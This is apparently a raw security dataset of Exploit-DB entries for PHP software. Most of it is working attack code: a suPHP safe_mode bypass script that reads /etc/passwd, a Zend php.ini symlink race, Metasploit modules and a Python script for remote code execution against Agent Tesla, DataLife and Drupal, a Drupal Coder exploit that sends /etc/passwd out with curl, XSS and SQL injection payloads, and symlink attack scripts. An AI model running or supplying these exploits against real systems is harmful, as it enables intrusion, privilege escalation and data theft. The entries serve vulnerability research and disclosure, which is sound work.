deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32693
Description: suPHP 0.7 - 'suPHP_ConfigPath' / 'Safe_Mode()' Restriction Bypass
Type: local
Platform: php
Date: 2008-12-31
Author: Mr.SaFa7

Exploit:
source: https://www.securityfocus.com/bid/33073/info

suPHP is prone to a 'safe_mode' restriction-bypass vulnerability.

Successful exploits may allow attackers to bypass arbitrary PHP configuration options, including the 'safe_mode' setting.

This vulnerability would be an issue in shared-hosting configurations where multiple users can create and execute arbitrary PHP script code, with the 'safe_mode' restrictions assumed to isolate the users from each other. 

<?
/*
apache 1.x <=> 2.x suphp (suPHP_ConfigPath) bypass safe mode exploit
Author : Mr.SaFa7
Home : v4-team.com
note : this exploit for education :)
*/


echo "[+] Start...\n";

$bypfile=fopen('php.ini','w+');
$stuffile=fopen('.htaccess','w+');
if($bypfile and $stuffile!= NULL){

echo "[+] evil files created succes ! \n";

}
else{
echo "[-] access denial ! \n";

}
$byprullz1="safe_mode          =       OFF

";

$byprullz2="disable_functions       =            NONE";
$dj=fwrite($bypfile,$byprullz1);

$dj1=fwrite($bypfile,$byprullz2);

fclose($bypfile);
if($dj and $dj1!= NULL){
echo "[+] php.ini writed \n";

}
else{
echo "[-] 404 php.ini not found !\n";
}
$breakrullz="suPHP_ConfigPath /home/user/public_html/php.ini"; // replace this '/home/user/public_html' by ur path

$sf7=fwrite($stuffile,$breakrullz);

fclose($stuffile);
if($sf7!= NULL){

echo "[+] evil .htaccess writed\n";
echo "[+] exploited by success!\n\n\n";
echo "\t\t\t[+] discouvred by Mr.SaFa7\n";
echo "\t\t\t[+] home : v4-team.com\n";
echo "\t\t\t[+] Greetz : djekmani4ever  ghost hacker  Str0ke ShAfEKo4EvEr Mr.Mn7oS\n";
}
else{

echo "[-] evil .htaccess Not found!\n";
}


system("pwd;ls -lia;uname -a;cat /etc/passwd");

#EOF
?>
Exploit-DB #29712
Description: Zend Platform 2.2.1 - 'PHP.INI' File Modification
Type: local
Platform: php
Date: 2007-03-03
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/22802/info

The Zend Platform is prone to an issue that may let local attackers modify the PHP configuration file ('php.ini'). This issue occurs because the application is installed with an 'ini_modifier' program that may be executed by local users and will bypass the authentication that is required by the application to change the configuration file.

An attacker could add a malicious PHP extension to the configuration or otherwise tamper with PHP configuration directives. A successful exploit could grant the attacker elevated privileges on the computer.

$ cd /tmp

$ mkdir ini
$ cd ini
$ cp /usr/local/Zend/etc/php.ini .
... now edit zend_gui_password in the copy to a MD5 of your choice and
... REMEBER the old MD5
$ cd ..
$ /usr/local/Zend/sbin/ini_modifier -f /tmp/ini/php.ini -n
Password:
(ini_modifier) help
modify entry - Modifies an entry.
switch extension - Enables or disables an extension.
switch zend_extension - Enables or disables a Zend extension.
help - Shows this help.
write - Writes the changes.
quit - Quits the program.
(ini_modifier) switch zend_extension /var/www/upload/evil.so on
(ini_modifier) modify entry Zend zend_gui_password OLDMD5
(ini_modifier)

In a parallel session you now perform the following:

$ cd /tmp
$ mv ini ini.bak
$ ln -s /usr/local/Zend/etc ini

And continue to edit the ini file:

(ini_modifier) write
(ini_modifier) quit

$ cat /usr/local/Zend/etc/php.ini
[PHP]
zend_extension=/var/www/upload/evil.so
...
zend_gui_[CREDENTIAL_REDACTED]

The next time the webserver is restarted, the injected malicious Zend Extension will be loaded and executed with root permissions.
Exploit-DB #29785
Description: aBitWhizzy - 'whizzypic.php?d' Traversal Arbitrary Directory Listing
Type: remote
Platform: php
Date: 2007-03-14
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/23167/info

aBitWhizzy is prone to multiple cross-site scripting and directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker could exploit these vulnerabilities to view the directory structure on the affected webserver and perform cross-site scripting attacks on unsuspecting users in the context of the affected website. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://localhost/abitwhizzy/whizzypic.php?d= ../../../../../../../Documents%20and%20Settings
Exploit-DB #47243
Description: Agent Tesla Botnet - Arbitrary Code Execution
Type: remote
Platform: php
Date: 2019-08-13
Author: prsecurity

Exploit:
import requests
import argparse
import base64

# Agent Tesla C2 RCE by prsecurity
# For research purposes only. Don't pwn what you don't own.

def get_args():
	parser = argparse.ArgumentParser(
		prog="agent_tesla_sploit.py",
		formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50),
		epilog= '''
		This script will exploit the RCE/SQL vulnerability in Agent Tesla Dashboard.
		''')
	parser.add_argument("target", help="URL of WebPanel (ex: http://target.com/WebPanel/)")
	parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
	parser.add_argument("-p", "--proxy", default="socks5://localhost:9150", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)")
	args = parser.parse_args()
	return args

def pwn_target(target, command, proxy):
	requests.packages.urllib3.disable_warnings()
	proxies = {'http': proxy, 'https': proxy}
	print('[*] Probing...')
	get_params = {
		'table':'screens', 
		'primary':'HWID', 
		'clmns':'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}', 
		'where': base64.b64encode("1=1 UNION SELECT \"{}\"".format(command).encode('utf-8'))
	}
	target = target + '/server_side/scripts/server_processing.php'
	try:
		r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies)
		print("[*] Your IP: {}".format(r.text))
		headers = {
			"User-agent":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
		}
		r = requests.get(target, params=get_params, headers=headers, verify=False, proxies=proxies)
		result = r.json()['data'][-1]['HWID']
		print('[+] {}'.format(result))
	except:
		print("[-] ERROR: Something went wrong.")
		print(r.text)
		raise

def main():
	print ()
	print ('Agent Tesla RCE by prsecurity.')
	args = get_args()
	pwn_target(args.target.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
	main()
Exploit-DB #47256
Description: Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2019-08-14
Author: Ege Balci

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Tesla Agent Remote Code Execution",
      'Description'    => %q{
        This module exploits the command injection vulnerability of tesla agent botnet panel.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
        ],
      'References'     =>
        [
          ['URL', 'https://prodaft.com']
        ],
      'DefaultOptions'  =>
        {
          'SSL' => false,
          'WfsDelay' => 5,
        },
      'Platform'       => ['php'],
      'Arch'           => [ ARCH_PHP ],
      'Targets'        =>
      [
        ['PHP payload',
          {
            'Platform' => 'PHP',
            'Arch' => ARCH_PHP,
            'DefaultOptions' => {'PAYLOAD'  => 'php/meterpreter/bind_tcp'}
          }
        ]
      ],
      'Privileged'     => false,
      'DisclosureDate' => "July 10 2018",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the tesla agent with panel path', '/WebPanel/']),
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/server_side/scripts/server_processing.php'),
    )
    #print_status(res.body)
    if res && res.body.include?('SQLSTATE')
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    check

    name = '.'+Rex::Text.rand_text_alpha(4)+'.php'

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,'/server_side/scripts/server_processing.php'),
      'encode_params' => true,
      'vars_get'  => {
        'table'  => 'passwords',
        'primary'  => 'password_id',
        'clmns'  => 'a:1:{i:0;a:3:{s:2:"db";s:3:"pwd";s:2:"dt";s:8:"username";s:9:"formatter";s:4:"exec";}}',
        'where'  => Rex::Text.encode_base64("1=1 UNION SELECT \"echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d > #{name}\"")
      }
    )

    if res && res.code == 200 && res.body.include?('recordsTotal')
      print_good("Payload uploaded as #{name}")  
    else
      print_error('Payload upload failed :(')
      Msf::Exploit::Failed
    end

    
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path,'/server_side/scripts/',name)}, 5
    )
    
    if res && res.code == 200
      print_good("Payload successfully triggered !")  
    else
      print_error('Payload trigger failed :(')
      Msf::Exploit::Failed
    end
    
  end
end
Exploit-DB #51750
Description: Blood Bank & Donor Management System using v2.2 - Stored XSS
Type: remote
Platform: php
Date: 2024-01-29
Author: SoSPiro

Exploit:
# Exploit Title: Blood Bank & Donor Management System using v2.2 - Stored XSS
# Application: Blood Donor Management System
# Version: v2.2   
# Bugs:  Stored XSS
# Technology: PHP
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/blood-bank-donor-management-system-free-download/
# Date: 12.09.2023
# Author: SoSPiro
# Tested on: Windows

#POC
========================================
1. Login to admin account
2. Go to /admin/update-contactinfo.php
3. Change "Adress" or " Email id " or " Contact Number" inputs and add "/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert('1') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e" payload.
4. Go to http://bbdms.local/inedx.php page and XSS will be triggered.
Exploit-DB #21334
Description: Cobalt RaQ 2.0/3.0/4.0 XTR - 'MultiFileUpload.php' Authentication Bypass (1)
Type: remote
Platform: php
Date: 2002-03-08
Author: Wouter ter Maat

Exploit:
source: https://www.securityfocus.com/bid/4252/info

Cobalt RaQ is a server appliance for Internet-based services. It is distributed and maintained by Sun Microsystems.

The 'MultiFileUpload.php' script is not sufficiently protected from outside access. While other sensitive administrative scripts are protected with HTTP authentication, 'MultiFileUpload.php' is not. Remote clients may invoke the execution of this script without valid administrator credentials.

In doing so, it is possible for an attacker to upload files that are created on the server filesystem as any user.

Furthermore, the uploaded files are stored in '/tmp' with predictable filenames. If the attacker has local access to the system, this vulnerability can be exploited to overwrite a file of equal user and group ownership through the use of a symbolic link.

Successful exploitation of this vulnerability by an attacker with local access may result in a compromise of root privileges. Attackers without local access may be able to cause a denial of service through consumption of disk space.

#!/usr/bin/perl
# mass base64 time encoder
# part of Cobalt UIFC XTR remote/local combination attack


use MIME::Base64;
$evil_time = time();

$exploit_secs = 10; # time in seconds you got to exploit this bug (race)

for($i=1;$i<=$exploit_secs; $i++) {
      $evil_time = $evil_time+1;
      $evilstr = encode_base64($evil_time);
      print $evilstr;
}
Exploit-DB #21335
Description: Cobalt RaQ 2.0/3.0/4.0 XTR - 'MultiFileUpload.php' Authentication Bypass (2)
Type: remote
Platform: php
Date: 2002-03-08
Author: Wouter ter Maat

Exploit:
source: https://www.securityfocus.com/bid/4252/info
 
Cobalt RaQ is a server appliance for Internet-based services. It is distributed and maintained by Sun Microsystems.
 
The 'MultiFileUpload.php' script is not sufficiently protected from outside access. While other sensitive administrative scripts are protected with HTTP authentication, 'MultiFileUpload.php' is not. Remote clients may invoke the execution of this script without valid administrator credentials.
 
In doing so, it is possible for an attacker to upload files that are created on the server filesystem as any user.
 
Furthermore, the uploaded files are stored in '/tmp' with predictable filenames. If the attacker has local access to the system, this vulnerability can be exploited to overwrite a file of equal user and group ownership through the use of a symbolic link.
 
Successful exploitation of this vulnerability by an attacker with local access may result in a compromise of root privileges. Attackers without local access may be able to cause a denial of service through consumption of disk space.

#!/bin/sh
#Script for creating symlinks from output of local-timerace-xtr

for foo in `perl -x xtr-timerace-xtr.pl`
do
ln -s /etc/passwd $foo
done
Exploit-DB #52272
Description: code-projects Online Exam Mastering System 1.0 - Reflected Cross-Site Scripting (XSS)
Type: remote
Platform: php
Date: 2025-04-22
Author: Pruthu Raut

Exploit:
# Exploit Title: code-projects Online Exam Mastering System 1.0 - Reflected Cross-Site Scripting (XSS)
# Google Dork: inurl:/exam/feedback.php
# Date: 2025-04-19
# Exploit Author: Pruthu Raut
# Vendor Homepage: https://code-projects.org/
# Software Link: https://code-projects.org/online-exam-system-in-php-with-source-code/
# Version: 1.0
# Tested on: XAMPP on Windows 10 / Kali Linux (Apache + PHP 7.x)
# CVE : CVE-2025-28121

# Description:
# code-projects Online Exam Mastering System 1.0 is vulnerable to a Reflected XSS vulnerability in feedback.php via the "q" parameter.
# The application fails to sanitize user input properly, allowing attackers to inject arbitrary JavaScript code.

# Vulnerable URL:
# http://localhost/exam/feedback.php?q=Thank%20you%20for%20your%20valuable%20feedback

# PoC (Proof of Concept):
# Payload:
http://localhost/exam/feedback.php?q=<script>alert('XSS')</script>

# Steps to Reproduce:
# 1. Host the application locally using XAMPP or a similar stack.
# 2. Open the vulnerable URL with the payload in a browser.
# 3. The JavaScript alert will be executed, demonstrating reflected XSS.

# Impact:
# - Account takeover via stolen cookies if a privileged user clicks the malicious link.
# - Full control of victim’s session context if exploited properly.
# - Can be chained with social engineering to target administrators.

# Mitigation:
# - Use `htmlspecialchars()` or a proper encoding mechanism to sanitize user input.
# - Implement Content Security Policy (CSP) headers.
# - Avoid reflecting unsanitized GET parameters into the HTML response.
Exploit-DB #24444
Description: DataLife Engine - 'preview.php' PHP Code Injection (Metasploit)
Type: remote
Platform: php
Date: 2013-02-01
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DataLife Engine preview.php PHP Code Injection',
			'Description'    => %q{
					This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
				The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
				with the e modifier, which allows to inject arbitrary php code, when the template
				in use contains a [catlist] or [not-catlist] tag.
			},
			'Author'         =>
				[
					'EgiX', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2013-1412' ],
					[ 'BID', '57603' ],
					[ 'EDB', '24438' ],
					[ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
					[ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Keys'   => ['php']
				},
			'DisclosureDate' => 'Jan 28 2013',
			'Targets'        => [ ['DataLife Engine 9.7', { }], ],
			'DefaultTarget'  => 0
			))

		register_options(
			[
				OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
			], self.class)
	end

	def uri
		normalize_uri(target_uri.path, 'engine', 'preview.php')
	end

	def check
		fingerprint = rand_text_alpha(4+rand(4))
		res = send_request_cgi(
			{
				'uri'       =>  uri,
				'method'    => 'POST',
				'vars_post' =>
					{
						'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
					}
			})

		if res and res.code == 200 and res.body =~ /#{fingerprint}/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		@peer = "#{rhost}:#{rport}"

		print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
		res = send_request_cgi(
			{
				'uri'       =>  uri,
				'method'    => 'POST',
				'vars_post' =>
					{
						'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
					}
			})
	end
end
Exploit-DB #40144
Description: Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution
Type: remote
Platform: php
Date: 2016-07-23
Author: Raz0r

Exploit:
<?php

# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
#
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5

$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";

$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

?>
Exploit-DB #40130
Description: Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit)
Type: remote
Platform: php
Date: 2016-07-20
Author: Mehmet Ince

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
      'Description'    => %q{
        This module exploits the Drupal RESTWS module vulnerability.
        RESTWS alters the default page callbacks for entities to provide
        additional functionality. A vulnerability in this approach allows
        an unauthenticated attacker to send specially crafted requests resulting
        in arbitrary PHP execution

        This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Devin Zuczek',                        # discovery
          'Mehmet Ince <mehmet@mehmetince.net>'  # msf module
        ],
      'References'     =>
        [
          ['URL', 'https://www.drupal.org/node/2765567'],
          ['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => 'Jul 13 2016',
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
      ], self.class
    )
  end

  def check
    r = rand_text_alpha(8 + rand(4))
    url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
    if res && res.body =~ /#{r}/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    random = rand_text_alpha(1 + rand(2))
    url = normalize_uri(target_uri.path,
      "?q=taxonomy_vocabulary/",
      random ,
      "/passthru/",
      Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
    )
    send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )
  end
end
Exploit-DB #51749
Description: Equipment Rental Script-1.0 - SQLi
Type: remote
Platform: php
Date: 2024-01-29
Author: nu11secur1ty

Exploit:
## Title: Equipment Rental Script-1.0 - SQLi
## Author: nu11secur1ty
## Date: 09/12/2023
## Vendor: https://www.phpjabbers.com/
## Software: https://www.phpjabbers.com/equipment-rental-script/#sectionDemo
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The package_id parameter appears to be vulnerable to SQL injection
attacks. The payload ' was submitted in the package_id parameter, and
a database error message was returned. You should review the contents
of the error message, and the application's handling of other input,
to confirm whether a vulnerability is present. The attacker can steal
all information from the database!

[+]Payload:
mysql

Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: package_id=(-4488))) OR 1 GROUP BY
CONCAT(0x71787a6a71,(SELECT (CASE WHEN (7794=7794) THEN 1 ELSE 0
END)),0x[PII_REDACTED],FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)&cnt=2&date_from=12/9/2023&hour_from=11&minute_from=00&date_to=12/9/2023&hour_to=12&minute_to=00

## Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Equipment-Rental-Script-1.0

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
home page: https://www.nu11secur1ty.com/